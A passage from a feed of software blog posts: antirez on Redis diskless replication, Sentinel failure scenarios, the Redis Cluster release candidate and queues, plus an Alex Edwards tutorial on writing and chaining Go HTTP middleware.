#1: produce a full RDB file in memory inside a buffer, than transfer it. 2) Way #2: directly write to slaves sockets, incrementally, as the RDB was created. Way #1 is a lot simpler since it is basically like the on-disk writing stuff, but in a kind of RAM disk. However the obvious risk is using too much memory. Way #2 is a bit more risky, because you have to transfer while the child producing the RDB file is active. However the essence of the feature was to target environments with slow disks perhaps, but *with fast networks*, without requiring too much additional memory, otherwise the feature risks to be useless. So Way #2 was selected. However if you stream an RDB file like this, there is a new problem to solve… how will the slave understand that EOF is reached? We don’t know, when we start the transfer, how big the transfer will be. With on-disk replication instead the size was known, so the transfer happened using just a Redis protocol “bulk” string, with prefixed length. Something like: $92384923423\r\n … data follows … I was too lazy to implement some complex chunked protocol to announce incremental blocks sizes, so went for a more brute force approach. The master generates an unguessable and unlikely to collide 160 bits random string, and sends something like that to the slave: $EOF:796f255829a040e80168f94c9fe7eda16b35e5df\r\n … data follows … 796f255829a040e80168f94c9fe7eda16b35e5df So basically this string, which is guaranteed (just because of infinitesimal probability) to never collide with anything inside the file, is used as the end of file mark. Trivial but works very well, and is simple. For timeouts, since it is a blocking write process (since we are in the context of the saving child process), I just used the SO_SNDTIMEO socket option. This way we are sure that we need to make progresses, otherwise the replication process is aborted. So for now there is no way to have an hard time limit for the child lifespan, and there are in theory pathological conditions where the slave would accept just one byte every timeout-1 seconds, to create a very slow transfer setup. Probably in the future the child will monitor the transfer rate, and if it drops under a reasonable figure, will exit with an error. Serving multiple slaves at the same time === Another goal of this implementation was to be able to serve multiple slaves at the same time. At first this looks impossible since once the RDB transfer starts, new slaves can’t attach, but need to wait for the current child to stop and a new one to start. However there is a very simple trick that covers a lot of use cases, which is, once the first slave want to replicate, we wait a few seconds for others to arrive as well. This covers the obvious case of a mass resync from multiple slaves for example. Because of this, the I/O code was designed in order to write to multiple file descriptors at the same time. Moreover in order to parallelize the transfer even if blocking I/O is used, the code tries to write a small amount of data to each fd in a loop, so that the kernel will send the packets in the background to multiple slaves at the same time. Probably the code itself is pretty easy to understand: while(len) { size_t count = len int broken = 0; for (j = 0; j io.fdset.numfds; j++) { … error checking removed … /* Make sure to write 'count' bytes to the socket regardless * of short writes. */ size_t nwritten = 0; while(nwritten != count) { retval = write(r->io.fdset.fds[j],p+nwritten,count-nwritten); if (retval … error checkign removed … } nwritten += retval; } } p += count; len -= count; r->io.fdset.pos += count; … more error checking removed … } Note that writes are bufferized by the rio.c write target, since we want to write only when a given amount of data is available, otherwise we risk to send TCP packets with 5 bytes of data inside. Handling partial failures === Handling multiple slaves is not just writing to multiple FDs, which is quite simple. A big part of the story is actually to handle a few slaves failing without requiring to block the process for all the other slaves. File descriptors in error are marked with the related error code, and no attempt is made to write to them again. Also the code detects if all the FDs are in error, and abort the process at all. However when the RDB writing is terminated, the child needs to report what are the slaves that received the RDB and can continue the replication process. For this task, a unix pipe is used between the processes. The child returns an array of slave IDs and associated error state, so that the parent can do a decent job at logging errors as well. How this changes Redis is a more deep way I thought === Diskless replication finally allows for a totally disk-free experience in Redis master-slaves sets. This means we need to support this use case better. Currently replication is dangerous to run with persistence disabled, since I thought there was not a case for turning off persistence when anyway replication was going to trigger it. But now this changed… and as a result, there are already plans to support better replication in a non-disk backed environment. The same will be applied to Redis Cluster as well… which is also a good candidate for diskless operations, especially for caching use cases, where replicas can do a good job to provide data redundancy, but where it may not be too critical if crash-restart of multiple instances cause data loss of a subset of hash slots in the cluster. ETA === The code is already available in beta here: https://github.com/antirez/redis/commits/memsync It will be merged into unstable in the next days, but the plan is to wait a bit for feedbacks and bug reports, and later merge into 3.0 and 2.8 as well. The feature is very useful and it has little interactions with the rest of the Redis core when it is turned off. The plan is to just back port it everywhere and release it as “experimental” for some time. Comments

• Making and using HTTP Middleware in Go
  Alex Edwards · Oct 21, 2014

  When you're building a web application, there's probably some shared functionality that you want to run for many (or even all) HTTP requests. You might want to log every request, gzip every response, or check that a user is authenticated before sending them any content. One way of organizing this shared functionality is to set it up as middleware — essentially a self-contained block of code that independently acts on a request, before or after your normal application handlers. In this post I'll explain how to create and use your own middleware, how to chain multiple middlewares together, and finish up with some practical real-world examples and tips. The standard pattern Before we talk about middleware, take a moment to consider the structure of the messageHandler function in the following code: func messageHandler(message string) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(message)) }) } func main() { mux := http.NewServeMux() mux.Handle("GET /", messageHandler("Hello world!")) log.Print("listening on :3000...") err := http.ListenAndServe(":3000", mux) log.Fatal(err) } In this code we put our messageHandler logic — which is just a call to w.Write() — in an anonymous function which 'closes over' the message variable to form a closure. We then convert the closure to an http.Handler with the http.HandlerFunc() adapter, and then return it. Note: If this pattern is confusing or unfamiliar to you, before you go any further I recommend reading this primer which explains it in more detail. We can use this same general pattern to help us create a middleware function. Instead of passing a string into the closure (like above), you can pass another http.Handler as a parameter, and then transfer control to this handler by calling its ServeHTTP() method. Like so: func exampleMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Your middleware logic goes here... next.ServeHTTP(w, r) }) } Essentially, the exampleMiddleware function accepts a next handler as a parameter, and it returns a closure which is also a handler. When this closure is executed, any code in the closure will be run and then the next handler will be called. Using middleware on specific routes If any of that sounds confusing, don't worry! In practice you can copy and paste that code pattern if you need to, and beyond that, making and using middleware is actually fairly straightforward. Let's start by looking at an example of how to use middleware on specific routes in your application. main.go package main import ( "log" "net/http" ) func middlewareOne(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareOne") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareOne again") }) } func fooHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing fooHandler") w.Write([]byte("OK")) } func barHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing barHandler") w.Write([]byte("OK")) } func main() { mux := http.NewServeMux() mux.Handle("GET /foo", http.HandlerFunc(fooHandler)) mux.Handle("GET /bar", middlewareOne(http.HandlerFunc(barHandler))) log.Print("listening on :3000...") err := http.ListenAndServe(":3000", mux) log.Fatal(err) } There is quite a lot going on in this code, so let's take a moment to unpack some of it: We've created a middleware function called middlewareOne, which uses the standard pattern that we talked about above. The middleware logs a message, calls the next handler, and then logs another message. We've made two normal handler functions, fooHandler and barHandler, which both log a message and send a 200 OK response. In the route mux.Handle("GET /foo", http.HandlerFunc(fooHandler)), we use the http.HandlerFunc() function to convert fooHandler to a http.Handler, and use it as normal with no middleware. In the route mux.Handle("GET /bar", middlewareOne(http.HandlerFunc(barHandler))), we use the http.HandlerFunc() function to convert barHandler to a http.Handler, and then pass it to the middlewareOne function as the next argument. Or in simpler terms — we wrap barHandler with the middlewareOne middleware function. If you run this application and make a request to http://localhost:3000/foo, you should see some log output containing only the message from fooHandler: $ go run main.go 2025/07/05 19:00:56 listening on :3000... 2025/07/05 19:01:09 /foo executing fooHandler In contrast, if you make a request to http://localhost:3000/bar, you should also see the log messages from middlewareOne, demonstrating that the middleware is successfully being used on that route. ... 2025/07/05 19:02:43 /bar executing middlewareOne 2025/07/05 19:02:43 /bar executing barHandler 2025/07/05 19:02:43 /bar executing middlewareOne again This log output also nicely illustrates the flow of control through the application code. We can see that any code in middlewareOne which comes before next.ServeHTTP(w, r) runs before barHandler is executed — and any code which comes after next.ServeHTTP(w, r) runs after barHandler has returned. So the flow of control through the application for the GET /bar route looks like this: http.ServeMux → middlewareOne → barHandler → middlewareOne → http.ServeMux Using middleware on all routes In the previous example, we used our middleware to wrap a specific handler in a specific route. But if you want your middleware to act on all routes, you can wrap http.ServeMux itself so that the flow of control looks like this: middlewareOne → http.ServeMux → fooHandler/barHandler → http.ServeMux → middlewareOne This works because Go's http.ServeMux implements the http.Handler interface — it has the necessary ServeHTTP() method. And as a result, we can directly pass an http.ServeMux into a middleware function as the next parameter. Let's update our example code to do this: main.go package main ... func main() { mux := http.NewServeMux() // We don't use any middleware on the individual routes. mux.Handle("GET /foo", http.HandlerFunc(fooHandler)) mux.Handle("GET /bar", http.HandlerFunc(fooHandler)) log.Println("listening on :3000...") // Wrap the http.ServeMux with the middlewareOne function. err := http.ListenAndServe(":3000", middlewareOne(mux)) log.Fatal(err) } And if you run the application and make the same requests to /foo and /bar again, you should see from the log output that middlewareOne is now being used on all routes. $ go run main.go 2025/07/05 19:04:48 listening on :3000... 2025/07/05 19:04:54 /foo executing middlewareOne 2025/07/05 19:04:54 /foo executing fooHandler 2025/07/05 19:04:54 /foo executing middlewareOne again 2025/07/05 19:04:58 /bar executing middlewareOne 2025/07/05 19:04:58 /bar executing fooHandler 2025/07/05 19:04:58 /bar executing middlewareOne again Chaining middleware Because the standard middleware function pattern accepts a http.Handler as a parameter, and it returns a http.Handler, that makes it possible to easily create arbitrarily long chains of middleware. Put simply, one middleware function can wrap another middleware function. To illustrate this, let's add some more middleware functions to our example and chain them together. main.go package main import ( "log" "net/http" ) func middlewareOne(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareOne") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareOne again") }) } func middlewareTwo(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareTwo") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareTwo again") }) } func middlewareThree(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareThree") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareThree again") }) } func middlewareFour(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareFour") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareFour again") }) } func middlewareFive(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareFive") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareFive again") }) } func fooHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing fooHandler") w.Write([]byte("OK")) } func barHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing barHandler") w.Write([]byte("OK")) } func main() { mux := http.NewServeMux() // Apply middlewareThree and middlewareFour to GET /foo mux.Handle("GET /foo", middlewareThree(middlewareFour(http.HandlerFunc(fooHandler)))) // Apply middlewareFour and middlewareFive to GET /bar mux.Handle("GET /bar", middlewareFour(middlewareFive(http.HandlerFunc(barHandler)))) log.Println("listening on :3000...") // Apply middlewareOne and middlewareTwo to the entire http.ServeMux err := http.ListenAndServe(":3000", middlewareOne(middlewareTwo(mux))) log.Fatal(err) } In this code we are now wrapping the http.ServeMux with middlewares One and Two, on the GET /foo route we're using middlewares Three and Four, and on the GET /bar route we're using middlewares Four and Five. Again, if you run the application and make the same requests to /foo and /bar you should now see log output that demonstrates the middleware functions being chained together and the flow of control through them. Like so: 2025/07/05 19:06:25 /foo executing middlewareOne 2025/07/05 19:06:25 /foo executing middlewareTwo 2025/07/05 19:06:25 /foo executing middlewareThree 2025/07/05 19:06:25 /foo executing middlewareFour 2025/07/05 19:06:25 /foo executing fooHandler 2025/07/05 19:06:25 /foo executing middlewareFour again 2025/07/05 19:06:25 /foo executing middlewareThree again 2025/07/05 19:06:25 /foo executing middlewareTwo again 2025/07/05 19:06:25 /foo executing middlewareOne again 2025/07/05 19:06:43 /bar executing middlewareOne 2025/07/05 19:06:43 /bar executing middlewareTwo 2025/07/05 19:06:43 /bar executing middlewareFour 2025/07/05 19:06:43 /bar executing middlewareFive 2025/07/05 19:06:43 /bar executing barHandler 2025/07/05 19:06:43 /bar executing middlewareFive again 2025/07/05 19:06:43 /bar executing middlewareFour again 2025/07/05 19:06:43 /bar executing middlewareTwo again 2025/07/05 19:06:43 /bar executing middlewareOne again Early returns One of the useful things about middleware is that you can use it as a 'guard' to prevent downstream middleware and handlers in the chain from being executed unless certain conditions are met. For example, you can use middleware to check if a user is authenticated, or that a request contains the correct Content-Type header, or that the client hasn't hit a rate-limiter ceiling before doing any further processing. For example, you could create a middleware function to ensure that the request Content-Type header exactly matches application/json by returning early from the middleware, before calling next.ServeHTTP(w, r). Like this: func requireJSON(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { contentType := r.Header.Get("Content-Type") // If the content type is not application/json, send an error message and // return from the middleware. By returning before next.ServeHTTP(w, r) // is called, it means that the next handler in the chain is never executed. if contentType != "application/json" { http.Error(w, "Content-Type header must be application/json", http.StatusUnsupportedMediaType) return } // Otherwise, if the content type is application/json, call the next handler // in the chain as normal. next.ServeHTTP(w, r) }) } A more realistic example Now that we've covered the theory, let's look at a more practical example to give you a taste for using middleware in a real application. In this code, we'll create two middleware functions that we want to use on all routes: A serverHeader middleware that adds the Server: Go header to HTTP responses. A logRequest middleware that uses the log/slog package to log the details of the current request. And we'll also create a GET /admin route that is guarded by a requireBasicAuthentication middleware function, which requires the client to authenticate via HTTP basic authentication. This is another example where we will use the 'early return' pattern that we just talked about. main.go package main import ( "log/slog" "net/http" "os" ) func serverHeader(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Server", "Go") next.ServeHTTP(w, r) }) } func logRequest(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { var ( ip = r.RemoteAddr method = r.Method url = r.URL.String() proto = r.Proto ) userAttrs := slog.Group("user", "ip", ip) requestAttrs := slog.Group("request", "method", method, "url", url, "proto", proto) slog.Info("request received", userAttrs, requestAttrs) next.ServeHTTP(w, r) }) } func requireBasicAuthentication(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { validUsername := "admin" validPassword := "secret" username, password, ok := r.BasicAuth() if !ok || username != validUsername || password != validPassword { w.Header().Set("WWW-Authenticate", `Basic realm="protected"`) http.Error(w, "401 Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) }) } func home(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Welcome to the home page!")) } func admin(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Admin dashboard - you are authenticated!")) } func main() { mux := http.NewServeMux() mux.HandleFunc("GET /{$}", home) // Use the requireBasicAuthentication middleware on the GET /admin route only. mux.Handle("GET /admin", requireBasicAuthentication(http.HandlerFunc(admin))) slog.Info("listening on :3000...") // Use the serverHeader and logRequest middleware on all routes. err := http.ListenAndServe(":3000", serverHeader(logRequest(mux))) if err != nil { slog.Error(err.Error()) os.Exit(1) } } Please note: I've made the requireBasicAuthentication code deliberately simple for this example, and while it works correctly, there is the tiny but theoretical risk of it being vulnerable to a timing attack. If this is something you're concerned about, I've written about how to mitigate that risk in this blog post. Go ahead and run this application, then open a second terminal window and use curl to make a request to GET /, and unauthenticated and authenticated requests to GET /admin. The responses should look similar to this: $ curl -i localhost:3000 HTTP/1.1 200 OK Server: Go Date: Sat, 05 Jul 2025 12:19:24 GMT Content-Length: 25 Content-Type: text/plain; charset=utf-8 Welcome to the home page! $ curl -i localhost:3000/admin HTTP/1.1 401 Unauthorized Content-Type: text/plain; charset=utf-8 Server: Go Www-Authenticate: Basic realm="protected" X-Content-Type-Options: nosniff Date: Sat, 05 Jul 2025 12:19:32 GMT Content-Length: 17 401 Unauthorized $ curl -i -u admin:secret localhost:3000/admin HTTP/1.1 200 OK Server: Go Date: Sat, 05 Jul 2025 12:26:53 GMT Content-Length: 40 Content-Type: text/plain; charset=utf-8 Admin dashboard - you are authenticated! We can see from these responses that our serverHeader middleware is setting the Server: Go header on all responses, and that the requireBasicAuthentication middleware is correctly protecting our GET /admin route. And if you head back to your original terminal window, you should see the corresponding log entries courtesy of the logRequest middleware. Similar to this: $ go run main.go 2025/07/05 14:18:44 INFO listening on :3000... 2025/07/05 14:19:24 INFO request received user.ip=127.0.0.1:41966 request.method=GET request.url=/ request.proto=HTTP/1.1 2025/07/05 14:19:32 INFO request received user.ip=127.0.0.1:59244 request.method=GET request.url=/admin request.proto=HTTP/1.1 2025/07/05 14:26:53 INFO request received user.ip=127.0.0.1:57670 request.method=GET request.url=/admin request.proto=HTTP/1.1 Managing and organizing middleware Lastly, a couple of tips. If you have an application with lots of routes and lots of middleware, you can potentially end up with very long route declarations and a lot of duplication in those declarations, which isn't ideal for easy-reading or maintainability. One of the tools that I've used for a long time to help manage this is justinas/alice, which is a small package that makes it easy to create reusable chains of handlers. At it's most basic, it let's you rewrite code that looks like this: mux.Handle("GET /foo", middlewareOne(middlewareTwo(middlewareThree(http.HandlerFunc(fooHandler))))) mux.Handle("GET /bar", middlewareOne(middlewareTwo(middlewareThree(http.HandlerFunc(barHandler))))) As this: stdChain := alice.New(middlewareOne, middlewareTwo, middlewareThree) mux.Handle("/foo", stdChain.Then(fooHandler)) mux.Handle("/bar", stdChain.Then(barHandler)) More recently, I've been rolling my own custom chain type instead of using justinas/alice, or wrapping http.ServeMux so that it supports 'groups' of routes which use specific middleware. If you're interested in this, I've written a more about it in the post "Organize your Go middleware without dependencies", and it's probably a good follow-on read from this post.

• A few arguments about Redis Sentinel properties and fail scenarios.
  Antirez · Oct 21, 2014

  Yesterday distributed systems expert Aphyr, posted a tweet about a Redis Sentinel issue experienced by an unknown company (that wishes to remain anonymous): “OH on Redis Sentinel "They kill -9'd the master, which caused a split brain..." “then the old master popped up with no data and replicated the lack of data to all the other nodes. Literally had to restore from backups." OMG we have some nasty bug I thought. However I tried to get more information from Kyle, and he replied that the users actually disabled disk persistence at all from the master process. Yep: the master was configured on purpose to restart with a wiped data set. Guess what? A Twitter drama immediately started. People were deeply worried for Redis users. Poor Redis users! Always in danger. However while to be very worried is a trait of sure wisdom, I want to take the other path: providing some more information. Moreover this blog post is interesting to write since actually Kyle, while reporting the problem with little context, a few tweets later was able to, IMHO, isolate what is the true aspect that I believe could be improved in Redis Sentinel, which is not related to the described incident, and is in my TODO list for a long time now. But before, let’s check a bit more closely the behavior of Redis / Sentinel about the drama-incident. Welcome to the crash recovery system model === Most real world distributed systems must be designed to be resilient to the fact that processes can restart at random. Note that this is very different from the problem of being partitioned away, which is, the inability to exchange messages with other processes. It is, instead, a matter of losing state. To be more accurate about this problem, we could say that if a distributed algorithm is designed so that a process must guarantee to preserve the state after a restart, and fails to do this, it is technically experiencing a bizantine failure: the state is corrupted, and the process is no longer reliable. Now in a distributed system composed of Redis instances, and Redis Sentinel instances, it is fundamental that rebooted instances are able to restart with the old data set. Starting with a wiped data set is a byzantine failure, and Redis Sentinel is not able to recover from this problem. But let’s do a step backward. Actually Redis Sentinel may not be directly involved in an incident like that. The typical example is what happens if a misconfigured master restarts fast enough so that no failure is detected at all by Sentinels. 1. Node A is the master. 2. Node A is restarted, with persistence disabled. 3. Sentinels (may) see that Node A is not reachable… but not enough to reach the configured timeout. 4. Node A is available again, except it restarted with a totally empty data set. 5. All the slave nodes B, C, D, ... will happily synchronize an empty data set form it. Everything wiped from the master, as per configuration, after all. And everything wiped from the slaves, that are replicating from what is believed to be the current source of truth for the data set. Let’s remove Sentinel from the equation, which is, point “3” of the above time line, since Sentinel did not acted at all in the example scenario. This is what you get. You have a Redis master replicating with N slaves. The master is restarted, configured to start with a fresh (empty) data set. Salves replicate again from it (an empty data set). I think this is not a big news for Redis users, this is how Redis replication works: slaves will always try to be the exact copy of their masters. However let’s consider alternative models. For example Redis instances could have a Node ID which is persisted in the RDB / AOF file. Every time the node restarts, it loads its Node ID. If the Node ID is wrong, slaves wont replicate from the master at all. Much safer right? Only marginally, actually. The master could have a different misconfiguration, so after a restart, it could reload a data set which is weeks old since snapshotting failed for some reason. So after a bad restart, we still have the right Node ID, but the dataset is so old to be basically, the same as being wiped more or less, just more subtle do detect. However at the cost of making things only marginally more secure we now have a system that may be more complex to operate, and slaves that are in danger of not replicating from the master since the ID does not match, because of operational errors similar to disabling persistence, except, a lot less obvious than that. So, let’s change topic, and see a failure mode where Sentinel is *actually* involved, and that can be improved. Not all replicas are the same === Technically Redis Sentinel offers a very limited set of simple to understand guarantees. 1) All the Sentinels will agree about the configuration as soon as they can communicate. Actually each sub-partition will always agree. 2) Sentinels can’t start a failover without an authorization from the majority of Sentinel processes. 3) Failovers are strictly ordered: if a failover happened later in time, it has a greater configuration “number” (config epoch in Sentinel slang), that will always win over older configurations. 4) Eventually the Redis instances are configured to map with the winning logical configuration (the one with the greater config epoch). This means that the dataset semantics is “last failover wins”. However the missing information here is, during a failover, what slave is picked to replace the master? This is, all in all, a fundamental property. For example if Redis Sentinel fails by picking a wiped slave (that just restarted with a wrong configuration), *that* is a problem with Sentinel. Sentinel should make sure that, even within the limits of the fact that Redis is an asynchronously replicated system, it will try to make the best interest of the user by picking the best slave around, and refusing to failover at all if there is no viable slave reachable. This is a place where improvements are possible, and this is what happens today to select a slave when the master is failing: 1) If a slaves was restarted, and never was connected with the master after the restart, performing a successful synchronization (data transfer), it is skipped. 2) If the slave is disconnected from its master for more than 10 times the configured timeout (the time a master should be not reachable for the set of Sentinels to detect a master as failing), it is considered to be non elegible. 3) Out of the remaining slaves, Sentinel picks the one with the best “replication offset”. The replication offset is a number that Redis master-slave replication uses to take a count of the amount of bytes sent via the replication channel. it is useful in many ways, not just for failovers. For example in partial resynchronizations after a net split, slaves will ask the master, give me data starting from offset X, which is the last byte I received, and so forth. However this replication number has two issues when used in the context of picking the best slave to promote. 1) It is reset after restarts. This sounds harmless at first, since we want to pick slaves with the higher number, and anyway, after a restart if a slave can’t connect, it is skipped. However it is not harmless at all, read more. 2) It is just a number: it does not imply that a Redis slave replicated from *a given* master. Also note that when a slave is promoted to master, it inherits the master’s replication offset. So modulo restarts, the number keeps increasing. Why “1” and/or “2” are suboptimal choices and can be improved? Imagine this setup. We have nodes A B C D E. D is the current master, and is partitioned away with E in a minority partition. E still replicates from D, everything is fine from their POV. However in the majority partition, A B C can exchange messages, and A is elected master. Later A restarts, resetting its offset. B and C replicate from it, starting again with lower offsets. After some time A fails, and, at the same time, E rejoins the majority partition. E has a data set that is less updated compared to the B and C data set, however its replication offset is higher. Not just that, actually E can claim it was recently connected to its master. To improve upon this is easy. Each Redis instance has a “runid”, an unique ID that changes for each new Redis run. This is useful in partial resynchronizations in order to avoid getting an incremental stream from a wrong master. Slaves should publish what is the last master run id they replicated successful from, and Sentinel failover should make sure to only pick slaves that replicated from the master they are actually failing over. Once you tight the replication offset to a given runid, what you get is an *absolute* meter of how much updated a slave is. If two slaves are available, and both can claim continuity with the old master, the one with the higher replication offset is guaranteed to be the best pick. However this also creates availability concerns in all the cases where data is not very important but availability is. For example if when A crashes, only E becomes available, even if it used to replicate from D, it is still better than nothing. I would say that when you need an highly available cache and consistency is not a big issue, to use a Redis cluster ala-memcached (client side consistent hashing among N masters) is the way to go. Note that even without checking the runid, to make the replication offsets durable after a restart, already improves the behavior considerably. In the above example E would be picked only if when isolated in a minority partition with the slave, received more writes than the other slaves in the majority side. TLDR: we have to fix this. It is not related to restarting masters without a dataset, but is useful to have a more correct implementation. However this will limit only a class of very-hard-to-trigger issues. This is in my TODO list for some time now, and congrats to Aphyr for identifying a real implementation issue in a matter of a few tweets exchanged. About the failure reported by Aphyr from the unknown company, I don’t think it is currently viable to try to protect against serious misconfigurations, however it is a clear sign that we need better Sentinel docs which are more incremental compared to the ones we have now, that try to describe how the system works. A wiser approach could be to start with a common sane configuration, and “don’t do” list like, don’t turn persistence off, unless you are ok with wiped instances. Comments

• Redis cluster, no longer vaporware.
  Antirez · Oct 09, 2014

  The first commit I can find in my git history about Redis Cluster is dated March 29 2011, but it is a “copy and commit” merge: the history of the cluster branch was destroyed since it was a total mess of work-in-progress commits, just to shape the initial idea of API and interactions with the rest of the system. Basically it is a roughly 4 years old project. This is about two thirds the whole history of the Redis project. Yet, it is only today, that I’m releasing a Release Candidate, the first one, of Redis 3.0.0, which is the first version with Cluster support. An erratic run — To understand why it took so long is straightforward: I started the cluster project with a lot of rush, in a moment where it looked like Redis was going to be totally useless without an automatic way to scale. It was not the right moment to start the Cluster project, simply because Redis itself was too immature, so we didn't yet have a solid “single instance” story to tell. While I did the error of starting a project with the wrong timing, at least I didn’t fell in the trap of ignoring the requests arriving from the community, so the project was stopped and stopped an infinite number of times in order to provide more bandwidth to other fundamental features. Persistence, replication, latency, introspection, received a lot more care than cluster, simply because they were more important for the user base. Another limit of the project was that, when I started it, I had no clue whatsoever about distributed programming. I did a first design that was horrible, and managed to capture well only what were the “products” requirement: low latency, linear scalability and small overhead for small clusters. However all the details were wrong, and it was far more complex than it had to be, the algorithms used were unsafe, and so forth. While I was doing small progresses I started to study the basics of distributed programming, redesigned Redis Cluster, and applied the same ideas to the new version of Sentinel. The distributed programming algorithms used by both systems are still primitive since they are asynchronous replicated, eventually consistent systems, so I had no need to deal with consensus and other non trivial problems. However even when you are addressing a simple problem, compared to writing a CP store at least, you need to understand what you are doing otherwise the resulting system can be totally wrong. Despite all this problems, I continued to work at the project, trying to fix it, fix the implementation, and bring it to maturity, because there was this simple fact, like an elephant into a small room, permeating all the Redis Community, which is: people were doing again and again, with their efforts, and many times in a totally broken way, two things: 1) Sharding the dataset among N nodes. 2) A responsive failover procedure in order to survive certain failures. Problem “2” was so bad that at some point I decided to start the Redis Sentinel project before Cluster was finished in order to provide an HA system ASAP, and one that was more suitable than Redis Cluster for the majority of use cases that required just “2” and not “1”. Finally I’m starting to see the first real-world result of this efforts, and now we have a release candidate that is the fundamental milestone required to get adoption, fix the remaining bugs, and improve the system in a more incremental way. What it actually does? — Redis Cluster is basically a data sharding strategy, with the ability to reshard keys from one node to another while the cluster is running, together with a failover procedure that makes sure the system is able to survive certain kinds of failures. From the point of view of distributed databases, Redis Cluster provides a limited amount of availability during partitions, and a weak form of consistency. Basically it is neither a CP nor an AP system. In other words, Redis Cluster does not achieve the theoretical limits of what is possible with distributed systems, in order to gain certain real world properties. The consistency model is the famous “eventual consistency” model. Basically if nodes get desynchronized because of partitions, it is guaranteed that when the partition heals, all the nodes serving a given key will agree about its value. However the merge strategy is “last failover wins”, so writes received during network partitions can be lost. A common example is what happens if a master is partitioned into a minority partition with clients trying to write to it. If when the partition heals, in the majority side of the partition a slave was promoted to replace this master, the writes received by the old master are lost. This in turn means that Redis Cluster does not have to take meta data in the data structures in order to attempt a value merge, and that the fancy commands and data structures supported by Redis are also supported by Redis Cluster. So no additional memory overhead, no API limits, no limits in the amount of elements a value can contain, but less safety during partitions. It is trivial to understand that in a system designed like Redis Cluster is, nodes diverging are not good, so the system tries to mitigate its shortcomings by trying to limit the probability of two nodes diverging (and the amount of divergence). This is achieved in a few ways: 1) The minority side of a partition becomes not available. 2) The replication is designed so that usually the reply to the client, and the replication stream to slaves, is sent at the same time. 3) When multiple slaves are available to failover a master, the system will try to pick the one that appears to be less diverging from the failed master. This strategies don’t change the theoretical properties of the system, but add some more real-world protection for the common Redis Clusters failure modes. For the Redis API and use case, I believe this design makes sense, but in the past many disagreed. However my opinion is that each designer is free to design a system as she or he wishes, there is just one rule: say the truth, so Redis Cluster documents its limits and failure modes clearly in the official documentation. It’s the user, and the use case at hand, that will make a system useful or not. My feeling is that after six years users continued to use Redis even without any clustering support at all, because the use case made this possible, and Redis offers certain specific features and performances that made it very suitable to address certain problems. My hope is that Redis Cluster will improve the life of many of those users. The road ahead — Finally we have a minimum viable product to ship, which is stable enough for users to seriously start testing and in certain cases adopt it already. The more adoption, the more we improve it. I know this from Redis and Sentinel: now there is the incremental process that moves a software forward from usable to mature. Listening to users, fixing bugs, covering more code in tests, … At the same time, I’m starting to think at the next version of Redis Cluster, improving v1 with many useful things that was not possible to add right now, like multi data center support, more write safety in the minority partition using commands replay, automatic nodes balancing (now there is to reshard manually if certain nodes are too empty and other too full), and many more things. Moreover, I believe Redis Cluster could benefit from a special execution mode specifically designed for caching, where nodes accept writes to hash slots they are not in charge for, in order to stay available in a minority partition. There is always time to improve and fix our implementation and designs, but focusing too much on how we would like some software to be, has the risk of putting it in the vaporware category for far longer than needed. It’s time to let it go. Enjoy Redis Cluster! Redis Cluster RC1 is available both as '3.0.0-rc1' tag at Github, or as a tarball in the Redis.io download page at http://redis.io/download Comments

• Queues and databases
  Antirez · Jul 14, 2014

  Queues are an incredibly useful tool in modern computing, they are often used in order to perform some possibly slow computation at a latter time in web applications. Basically queues allow to split a computation in two times, the time the computation is scheduled, and the time the computation is executed. A “producer”, will put a task to be executed into a queue, and a “consumer” or “worker” will get tasks from the queue to execute them. For example once a new user completes the registration process in a web application, the web application will add a new task to the queue in order to send an email with the activation link. The actual process of sending an email, that may require retrying if there are transient network failures or other errors, is up to the worker. Technically speaking we can think at queues as a form of inter-process messaging primitive, where the receiving process needs to acknowledge the reception of the message. Messages can not be fire-and-forget, since the queue needs to understand if the message can be removed from the queue, so some form of acknowledgement is strictly required. When receiving a message triggers the execution of a task, like it happens in the kind of queues we are talking about, the moment the message reception is acknowledged changes the semantic of the queue. When the worker process acknowledges the reception of the message *before* processing the message, if the worker fails the message can be lost before the task is performed at all. If the acknowledge is sent only *after* the message gets processed, if the worker fails or because of network partitions the queue may re-deliver the message again. This happens whatever the queue consistency properties are, so, even if the queue is modeled using a system providing strong consistency, the indetermination still holds true: * If messages are acknowledged before processing, the queue will have an at-most-once delivery property. This means messages can be processed zero or one time. * If messages are acknowledged after processing, the queue will have an at-least-once delivery property. This means messages can be processed from 1 to infinite number of times. While both of this cases are not perfect, in the real world the second behavior is often preferred, since it is usually much simpler to cope with the case of multiple delivery of the message (triggering multiple executions of the task) than a system that from time to time does not execute a given task at all. An example of at-least-once delivery 